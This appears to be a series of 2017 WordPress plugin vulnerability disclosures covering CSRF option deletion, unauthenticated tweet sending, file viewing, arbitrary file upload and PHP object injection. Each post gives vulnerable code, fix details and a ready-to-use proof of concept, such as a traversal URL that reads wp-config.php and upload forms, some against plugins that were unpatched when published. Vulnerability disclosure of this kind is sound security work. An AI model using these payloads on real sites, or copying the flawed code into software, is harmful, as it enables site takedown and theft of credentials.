11 Oct

Authenticated Option Deletion Vulnerability in My WP Translate

Recently we went to check on a report of a cross-site scripting (XSS) vulnerability in the plugin My WP Translate and while looking into that we noticed that there were a number AJAX accessible functions that didn’t have the proper protection so that anyone logged in could access them. That is an all too common situation. On a lot of websites that wouldn’t matter much since the only user account is an Administrator, so that if someone gains access to the account they can do whatever they want already, or only trusted individuals have accounts. For websites that do allow untrusted users to have accounts taking extra precautions when it comes to plugins is a good idea. That can include limiting the number of plugins you use and for the highest assurance getting a security review done of them (we do security reviews of plugins suggested/voted for by our customers and also offer a separate service if just want to purchase a review).

Often times the intended functionality of an AJAX accessible function is dangerous for lower level users to have access to, but it is also possible that the code can used to take other action they intended. In the case of this plugin we found that it is possible to use one of those functions to delete WordPress options (settings).  As we discovered with a very similar vulnerability more than a year ago, that can be used to disable a website with a single request.

The plugin made the function ajax_mtswpt_remove_plugin() accessible through WordPress AJAX functionality to only those logged in:

160
$this->loader->add_action( 'wp_ajax_mtswpt_remove_plugin', $plugin_admin, 'ajax_mtswpt_remove_plugin' );

The function, located in the file /admin/class-my-wp-translate-admin.php, doesn’t perform any check on the capabilities of the user (only users with the “manage_options” capability should be able to access it) or check for protection against cross-site request forgery (CSRF). Instead the first thing it does is the value of the POST input “plugin_tab” to variable “$plugin_tab “:

736
737
738
public function ajax_mtswpt_remove_plugin() {
 
	$plugin_tab = $_POST['plugin_tab'];

Later in the code it checks if an option with name that matches the variable’s value exists and if it does, the option is deleted:

754
755
if ( false !== get_option( $plugin_tab, false ) ) {
	delete_option( $plugin_tab );

If you were to use that to delete “site_url” option, it would cause requests for the frontend of the website to show the message “Error establishing a database connection” instead of the intended page content and requests for the admin area to only have the message “One or more database tables are unavailable. The database may need to be repaired.” If you do try a database repair, the result with be that it won’t fix this, but it will be indicated that the options table, where the deleted option existed, “is okay”, which seems unhelpful.

In version 1.0.4 the function has been renamed and a check for a nonce, to prevent CSRF has been added:

950
951
952
public function ajax_remove_plugin() {
 
	check_ajax_referer( 'my-wp-translate', 'security' );

No capabilities check was added, but the nonce is only accessible on the plugin’s admin page, so under normal circumstances that would do the equivalent of a capabilities check, though it would better to check for capabilities as it is possible that a nonce could be compromised.

Proof of Concept

The following proof of concept will delete the siteurl option wp_options table, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="mtswpt_remove_plugin" />
<input type="hidden" name="plugin_tab" value="siteurl" />
<input type="submit" value="Submit" />
</form>
</body>

Timeline

  • October 9, 2017 – Developer notified.
  • October 10, 2017 – Developer responds.
  • October 10, 2017 – Version 1.0.4 released, which fixes vulnerability.
09 Oct

Tweet Sending Vulnerability in TwitterCart

In not the best sign of the security of WordPress plugins, we have repeatedly found other vulnerabilities while looking into possible vulnerabilities through proactive monitoring of changes made to plugins to try to catch serious vulnerabilities. That was the case with the plugin TwitterCart.

In the function simple_tweet() we noticed code that could possible allow for an arbitrary file upload vulnerability (in the file /includes/twitter.php):

731
732
733
$path = TC_PLUGIN_PATH . $_FILES['file']['name'];
 
move_uploaded_file($_FILES['file']['tmp_name'], $path);

We traced back how the code could be accessed and it looked like anyone could access it. But when we tried to exploit the vulnerability we found that the file wasn’t being saved to the filesystem. The reason for that turned out to be that several lines later in the code the file would be removed:

745
unlink($path);

So unless you could cause an error to occur before that happens the file would be uploaded and almost immediately removed. You might be able to request the uploaded file before it could be removed. That might qualify this issue as a possible vulnerability.

But there seemed to be a more serious issue in the plugin based on where the upload code was located. The function simple_tweet() sends out a tweet, so that seemed to indicate that anyone could also send a tweet from the websites Twitter account through the plugin, which we then confirmed.

There were several security issues at play that caused this. First the plugin allowed even those not logged in to access another function tc_new_tweet() through WordPress’ AJAX functionality (in the file /includes/actions.php):

44
45
add_action('wp_ajax_tc_new_tweet', 'tc_new_tweet');
add_action('wp_ajax_nopriv_tc_new_tweet', 'tc_new_tweet');

That function called the simple_tweet() function without doing a capabilities check to make sure the attempt to send is from someone that should be able to do that or check for a valid nonce to prevent cross-site request forgery (CSRF), which could allow an attacker to cause someone that should be able to send a tweet to send one they didn’t intended to (in the file /includes/functions.php):

394
395
396
397
function tc_new_tweet()
{
    require_once TC_PLUGIN_PATH . 'includes/twitter.php';
    simple_tweet($_POST['msg']);

There were quite a few other AJAX accessible functions that were similarly not secured.

After we notified the developer they released version 2.1, which fixes this vulnerability by removing the code shown above and most of the other AJAX accessible code. For the remaining code things were not fully fixed up. As functions that look like are only intended to be accessed by those logged in are still accessible to those not logged in and there isn’t a capabilities check, but there is protection against CSRF added, which would limit any abuse of those other two items.

Proof of Concept

The following proof of concept will send out a tweet from the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="https://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="tc_new_tweet" />
<input type="hidden" name="msg" value="Testing to see if plugin allows anyone to send out tweets through a website." />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • October 2, 2017 – Developer notified.
  • October 2, 2017 – Developer responds.
  • October 7, 2017 – Version 2.1 released, which fixes vulnerability.
05 Oct

Arbitrary File Viewing Vulnerability in WP Post Popup

Back in August through our proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins we found that the plugin WP Post Popup contained an arbitrary file viewing vulnerability. That was subsequently fixed. Through that same monitoring we found that the vulnerability had returned to the plugin.

The only difference from last time is that file the vulnerability was now in is named /public/partials/wp-post-modal-public-proxy.php.

In that file the first code was:

12
13
if ( isset( $_GET['url'] ) ) {
	echo file_get_contents( $_GET['url'] );
That code takes the value of the GET input “url”, passes it to the function file_get_contents(), and echo’s the result. So with that you can view the contents of any file on the website. Hackers would normally exploit that to the view the contents of the WordPress configuration file, wp-config.php file.

In addition to being able to be used for arbitrary file viewing, the vulnerability could be used for cross-site scripting (XSS) since file_get_contents() can also get the contents of URLs “if the fopen wrappers have been enabled”.

After we notified the developer they removed that file. It was removed 13 minutes after version 2.1.2 was released. So there was a small window for those installing or updating the plugin to version 2.1.2 to have gotten it with that version.  If you are using that version to be safe, check if it contains that file and if it does then remove it.

Proof of Concept

The following proof of concept will display the contents of the WordPress configuration file, wp-config.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/wp-post-modal/public/partials/wp-post-modal-public-proxy.php?url=../../../../../wp-config.php

Timeline

  • October 5, 2017 – Developer notified.
  • October 5, 2017 – Vulnerability resolved.
  • October 5, 2017 – Developer responds.
02 Oct

Authenticated Arbitrary File Upload Vulnerability in WordPress Book List

We recently started proactively monitoring for evidence of some high risk vulnerabilities when changes are made to WordPress plugins and if we had more customers we could expand the proactive monitoring to more types of vulnerabilities. One of the types of vulnerabilities we are looking for are arbitrary file upload vulnerabilities since those are likely to be exploited if hackers become aware of them. Through that we came across an authenticated arbitrary file upload vulnerability in WordPress Book List.

The plugin allows users with the “manage_options” capability, which would normally only be Administrators, the ability to access an admin page to upload StylePaks for the plugin.

The uploads are handle through the function wpbooklist_upload_new_stylepak_action_callback(), which is available through WordPress AJAX functionality to those logged in to WordPress as well as those not logged in (in the file /wpbooklist.php):

263
264
add_action( 'wp_ajax_wpbooklist_upload_new_stylepak_action', 'wpbooklist_upload_new_stylepak_action_callback' );
add_action( 'wp_ajax_nopriv_wpbooklist_upload_new_stylepak_action', 'wpbooklist_upload_new_stylepak_action_callback' );

The first thing that function does is check for a valid nonce (in the file /includes/ajaxfunctions.php):

2904
2905
2906
2907
function wpbooklist_upload_new_stylepak_action_callback(){
 
	global $wpdb;
	check_ajax_referer( 'wpbooklist_upload_new_stylepak_action_callback', 'security' );

That value of the nonce is provided through the function wpbooklist_upload_new_stylepak_action_javascript(), which runs when any admin page is loaded:

262
add_action( 'admin_footer', 'wpbooklist_upload_new_stylepak_action_javascript' );

So anyone logged in to WordPress that can access admin pages has access to a valid nonce, despite the user interface for the uploads only being accessible to Administrators.

Returning to the function wpbooklist_upload_new_stylepak_action_callback(), it provides no check to limit what types of users can access it, so as long as someone has access to a valid nonce they can access its functionality. If there is not a POST input “stylepak” then the following line of code will run in the function, which will upload a file without any restriction as to the file type:

2878
$move_result = move_uploaded_file($_FILES['my_uploaded_file']['tmp_name'], LIBRARY_STYLEPAKS_UPLOAD_DIR."{$_FILES['my_uploaded_file'] ['name']}");

We received a response from the developer the same day we contacted them, asking who we were. Several versions of the plugin have been release since then, but the vulnerability has not been fixed. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/wpbooklist/stylepaks/library/.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[valid nonce]” with a valid nonce, which is value of the security element in the below the element that can be found below the line “‘action’: ‘wpbooklist_upload_new_stylepak_action’,” on any admin page.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="wpbooklist_upload_new_stylepak_action" />
<input type="hidden" name="security" value="[valid nonce]" />
<input type="file" name="my_uploaded_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • September 1, 2017 – Developer notified.
25 Sep

Cross-Site Request Forgery (CSRF)/PHP Object Injection Vulnerability in Shoppable Images Lite

Back in June we introduced a new feature to our service where we are trying to proactively catch some serious vulnerabilities in WordPress plugins. The original idea was to catch vulnerabilities as they are newly introduced to the plugin, but when we started working on doing that we realized that it would also catch existing vulnerabilities if they were in code being changed in a plugin. At the end of August, for the first time we caught a serious vulnerability as it was introduced in to a plugin. For the second instance of that occurring, which happened the next week, not only did we catch a vulnerability as it was introduced, but with the first version of the plugin. That should be a good reminder that the review done before a plugin is allowed in to the Plugin Directory does not insure that the plugin is secure at the time it is introduced.

The vulnerability is a cross-site request forgery (CSRF)/PHP object injection vulnerability in the plugin Shoppable Images Lite.

In the first version of the plugin, when visiting the plugin’s settings page in the admin area of WordPress, which is accessible to users with the “manage_options” capability, the function show_admin_notices() would run. Here is that function, from the file /core/common/class-admin.php:

public function show_admin_notices() {
	$notices = self::$notices;

	foreach( $notices as $notice ) {
		echo '>div class="notice is-dismissible notice-'.$notice['class'].'">>p>'.$notice['message'].'>/p>>/div>';
	}

	if(isset($_GET['notice']) && isset($_GET['page']) && $_GET['page'] === Config_Manager::$slug){
		$notice = unserialize(base64_decode($_GET['notice']));
		echo '>div class="notice is-dismissible notice-'.$notice['class'].'">>p>'.$notice['message'].'>/p>>/div>';
	}
}

If the GET input “notice” exists the value of it will be unserialized, which permits PHP object injection.

If an attacker could get someone with the “manage_options” capability, which is normally only Administrators, to visit a specified URL they could cause that user to unintentionally cause PHP object injection to occur.

It also looks possible for there to be reflected cross-site scripting (XSS) due to the GET input being echo’d, but in a quick look we ran into issues with serialization/unserialization of HTML tags.

After we notified the developer they released version 1.0.1, which fixed the vulnerability by removing the function show_admin_notices().

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” to be shown, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/options-general.php?page=mabel-shoppable-images-lite&notice=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30%3D

Timeline

  • September 5, 2017 – Developer notified.
  • September 6, 2017 – Developer responds.
  • September 23, 2017 – Version 1.0.1 released.
22 Sep

PHP Object Injection Vulnerability in DS.DownloadList

For the second time through our proactive monitoring of changes in WordPress plugins for serious vulnerabilities we have found a vulnerability not just as it is added to a plugin, but as the plugin was introduced into the Plugin Directory.

There is a manual review done of plugins before they are approved for the Plugin Directory and that appears to be intended to involve some check of the security of the plugins as it is stated that:

 Then someone will manually review your code. If we find no issues with the security, documentation, or presentation, your plugin will be approved.

There is nothing beyond that, which explains what, if anything, is actually checked for security wise, which is concerning, Unfortunately that isn’t just an issue with that process, everything to do with handling security by the Plugin Directory is very opaque and maybe not unrelated to that, there are a lot of problems with their handling of security as well.

In the case of the plugin DS.DownloadList, what drew our attention to it was a PHP object injection vulnerability, which is a type of vulnerability that hackers have exploited widely in the last year. But during a review of the plugin the whole concept should have been concerning due to what it is described as doing, “A lightweight plugin to download files and browse folders”.

While the plugin has some protection against abuse what we found was that it could be used by anyone to view the contents of directories inside the /wp-content/ directory. That could for example, allow someone to find the names and then download backup files, which would otherwise be protected by the use of non-easily guessable file and directory names.

The PHP object injection vulnerability occurs at the beginning the function wp_ajax_dsdl(), which is located in the file /classes/Action.class.php:

21
22
23
24
public static function wp_ajax_dsdl()
{
 
	$atts = @unserialize(base64_decode($_REQUEST['atts']));

The value of the GET or POST input “atts” will be unserialized, which permits PHP object injection to occur.

From the name of the function you can probably guess that it is accessed through WordPress’ AJAX functionality. In this case it is made accessible whether logged in or not:

32
33
add_action('wp_ajax_dsdl', array('\dsdl\Action', 'wp_ajax_dsdl'));
add_action('wp_ajax_nopriv_dsdl', array('\dsdl\Action', 'wp_ajax_dsdl'));

We contacted the developer about the vulnerability a week ago, but have not heard back from them. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, visiting the following URL will cause the message “PHP object injection has occurred.” to be shown.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://localhost/wp-admin/admin-ajax.php?action=dsdl&atts=TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=

Timeline

  • September 15, 2017 – Developer notified.
22 Sep

PHP Object Injection Vulnerability in TAKETIN To WP Membership

Through the proactive monitoring of changes in WordPress plugins for serious vulnerabilities we do, we recently found a PHP object injection vulnerability in the TAKETIN To WP Membership plugin.

In the file /classes/taketin-mp-utils.php the function getMessage() as of version 1.2.7 would unserialize the value of the cookie “taketin_mp_error”, which permitted PHP object injection:

346
347
348
349
350
public static function getMessage(){
	if(!isset($_COOKIE[TMP_ERR_MSG_COOKIE_KEY])){
		return false;
	}
	$mess = unserialize(base64_decode($_COOKIE[TMP_ERR_MSG_COOKIE_KEY]));

One of the places that function is called is in the file /views/forgot_password.php:

10
$msg = TaketinMpUtils::getMessage();

That file is included by the function reset() (in the file /classes/taketin-mp-membership.php):

403
404
405
406
407
408
409
410
411
public function reset() {
	//$succeeded = $this->notices();
	//if ($succeeded) {
	//    return '';
	//}
	ob_start();
	//Load the forgot password template
	$template_files = TMP_MEM_PATH . 'views/forgot_password.php';
	require( $template_files );

That function is called when the shortcode “tmp_reset_form” is used:

20
add_shortcode('tmp_reset_form', array(&$this, 'reset'));

Less than day after we notifying the developer of the vulnerability they released version 1.2.8, which fixes the vulnerability by replacing usage of unserialize() with json_decode() (as well as replacing a connected usage of serialize() with json_encode()):

352
$mess = json_decode(base64_decode($_COOKIE[TMP_ERR_MSG_COOKIE_KEY]), true);

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “taketin_mp_error” to “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” and then when you visit a post or page with the shortcode “tmp_reset_form” on it the message “PHP object injection has occurred.” will be shown.

Timeline

  • September 21, 2017 – Developer notified.
  • September 21, 2017 – Developer responds.
  • September 21, 2017 – Version 1.2.8 released, which fixes vulnerability.
20 Sep

Arbitrary File Upload Vulnerability in All Post Contact Form

Through the proactive monitoring of changes in WordPress plugins for serious vulnerabilities we do, we recently found an an arbitrary file upload vulnerability in the All Post Contact Form plugin.

When the plugins shortcode, rlallpostcontactform, is on a post or page the the file /allpost-contactform-core.php is included. In that file the following code is run:

53
54
if(is_uploaded_file($_FILES['attachment_file']['tmp_name'])){
move_uploaded_file($_FILES['attachment_file']['tmp_name'],WP_CONTENT_DIR.'/uploads/'.$_FILES['attachment_file']['name'] );

That code checks if a file is included with the request with attribute name set as  “attachment_file” and if it is then the file is saved to the directory /wp-content/uploads/.

We contacted the developer about the vulnerability a week ago, but have not heard back from them. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/.

Make sure to replace “[path to shortcode post]” with the location of the post (or page) with the shortcode “rlallpostcontactform”.

<html>
<body>
<form action="[path to shortcode post]" method="POST" enctype="multipart/form-data">
<input type="file" name="attachment_file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • September 13, 2017 – Developer notified.
19 Sep

Authenticated Information Disclosure Vulnerability in Share Drafts Publicly

The changelog entry for version 1.1.4 of Share Drafts Publicly is “Added security enhancements.”. In looking over that we found a change was made to fix a cross-site request forgery (CSRF) vulnerability that existed with AJAX functionality to share a draft of a post or page publicly. The exploitability of that is limited since an attacker that causes a draft to be shared publicly would still have to guess a 6 character secret key generated using wp_generate_password() to be able to view the draft.

With a CSRF vulnerability you cannot see the result of the request because it is being made by someone else, but the response to the request here does return the secret key needed to view the draft, so there was the potential that WordPress users that don’t have access to a draft could use the functionality to view it since the AJAX request was accessible to anyone logged in to WordPress. In version 1.1.3 we found that anyone logged in could make any draft public. In looking at the changes made in 1.1.4, we found there was no change to deal with that issue.

In version 1.1.4 because of the new CSRF protection, a user would now need to have access to a valid nonce to be able to make a draft public.

The nonce is generated in the function scripts(), which is called when enqueueing admin scripts (in the file /share-drafts-publicly.php):

52
add_action( 'admin_enqueue_scripts', array( $this, 'scripts' ) );

The function will include the nonce when the function enqueue_script() is true:

77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
public function scripts() {
 
	// Localize strings.
	$localization = array(
		'nonce'  => wp_create_nonce( 'share-drafts-publicly' ),
		'postId' => get_the_ID() ? get_the_ID() : ( isset( $_GET['post'] ) ? absint( $_GET['post'] ) : 0 ),
	);
 
	wp_register_script( 'share-drafts-publicly', plugin_dir_url( __FILE__ ) . 'js/share-drafts-publicly.js', array( 'jquery' ), filemtime( plugin_dir_path( __FILE__ ) . 'js/share-drafts-publicly.js' ), true );
	wp_localize_script( 'share-drafts-publicly', 'shareDraftsPublicly', $localization );
 
	if ( $this->enqueue_script() ) {
		wp_enqueue_script( 'share-drafts-publicly' );
	}
 
}

That returns true when on the page /wp-admin/post.php:

120
121
122
123
124
125
126
127
public function enqueue_script() {
 
	// Get current page.
	global $pagenow;
 
	return 'post.php' === $pagenow;
 
}

So as long as a user can visit the page /wp-admin/post.php they would now be able to make any draft public. Without any plugins making something using that page available to lower level users, only users at the Contributor-level or above could get access to the nonce normally.

Less than an hour after we notified the developer of the issue they released version 1.1.5, which fixed the issue by adding the following code to the beginning of the functions make_draft_public() and make_draft_private():

if ( ! current_user_can( 'edit_posts', $post_id ) ) {
	return false;
}

That makes sure the user trying to make a draft public or private is able to edit it.

Proof of Concept

When logged in as a user that has access to some URL that uses /wp-admin/post.php, visiting the following URL will make the specified draft public.

Make sure to replace “[path to WordPress]” with the location of WordPress, “[post ID]” with the ID of the draft post you want to make public, and “[valid nonce] with a valid nonce that can be found on the URL that uses /wp-admin/post.php on the line that begins “var shareDraftsPublicly”.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=share_drafts_publicly&make=public&post_id=[post ID]&nonce=[valid nonce]

Timeline

  • September 18, 2017 – Developer notified.
  • September 18, 2017 – Version 1.1.5 released, which fixes issue.
  • September 18, 2017 – Developer responds.
18 Sep

Authenticated PHP Object Injection Vulnerability in Post Pay Counter

Through the proactive monitoring of changes in WordPress plugins for serious vulnerabilities we do, we have found some of those serious vulnerabilities, but we also have found less serious variants of some of those vulnerabilities. The latter is certainly the case with an authenticated PHP object injection vulnerability we found in the plugin Post Pay Counter.

On the plugin’s Options page there is a section title Import/Export Settings. When doing an import through that the function import_settings(), which began as follows in version 2.730, is utilized (in /classes/ppc_ajax_functions_class.php):

258
259
260
261
262
static function import_settings() {
	global $ppc_global_settings;
	self::ppc_check_ajax_referer( 'ppc_import_settings' );
 
	$to_import = unserialize( base64_decode( $_REQUEST['import_settings_content'] ) );

That code checked for a valid nonce, which prevents cross-site request forgery (CSRF), and then passed the value of the GET or POST input “import_settings_content” through the unserialize() function, which permitted PHP object injection.

The value of the nonce is only available on the plugin’s Options page. Normally that page is only available to Administrators, for who this really wouldn’t be a vulnerability since they can normally do the equivalent what this vulnerability could do. The plugin does provide the option to allow lower users level access to it and for them to exploit this it would be a vulnerability:

Before doing the importation of settings, the plugin should have also made sure the user is intended to be able to import settings by checking if their user role is one permitted to access the page.

Less than two days after we notified the developer of the issues they released version 2.731, which replaces the usage of unserialize():

262
$to_import = json_decode( base64_decode( $_REQUEST['import_settings_content'] ), true );

and adds a capabilities check to the function that handles updating the settings, update_settings() (in the file /classes/ppc_save_options_class.php):

221
222
if( ! current_user_can( $ppc_global_settings['cap_manage_options'] ) )
	return new WP_Error( 'save_settings_error', __( 'Are you sure you want to do this?' ) );

Proof of Concept

With our plugin for testing for PHP object injection installed and activated, passing “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” through the Import Settings feature on /wp-admin/admin.php?page=ppc-options will cause the message “PHP object injection has occurred.” to be shown.

Timeline

  • September 14, 2017 – Developer notified.
  • September 15, 2017 – Developer responds.
  • September 16, 2017 – Version 2.731, which fixes vulnerability.